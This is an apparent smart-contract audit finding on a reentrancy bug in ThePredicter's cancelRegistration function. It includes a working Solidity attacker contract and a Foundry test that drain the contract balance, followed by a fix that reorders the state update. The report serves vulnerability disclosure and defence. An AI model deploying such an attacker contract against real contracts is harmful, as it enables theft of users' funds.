Description:
The way ThePredicter::cancelRegistration
handles the cashback and subsequent update of state doesn't follow CEI (Checks - Effects - Interactions), which allows an attacker to drain the contract funds by deploying a malicious contract that calls cancelRegistration
every time it receives funds until it drains the contract.
Impact: The whole contract balance can be drained by an attacker at any time.
Proof of Concept:
Import the following contract into ThePredicter.test.sol
:
contract ReentrancyAttacker {
ThePredicter public thePredicter;
address public owner;
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
owner = msg.sender;
}
function attack() public payable {
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
(bool success,) = payable(owner).call{value: address(this).balance}("");
(success);
}
receive() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
}
And include the following test into ThePredicter.test.sol
:
function test_reentrancyInCancelRegistration() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.deal(stranger2, 1 ether);
vm.prank(stranger2);
thePredicter.register{value: 0.04 ether}();
vm.deal(stranger3, 1 ether);
vm.prank(stranger3);
thePredicter.register{value: 0.04 ether}();
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(thePredicter);
reentrancyAttacker.attack{value: 0.04 ether}();
vm.stopPrank();
assertEq(stranger.balance, 1.08 ether);
assertEq(address(thePredicter).balance, 0 ether);
}
Recommended Mitigation:
Make the following changes to ThePredicter::cancelRegistration
:
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}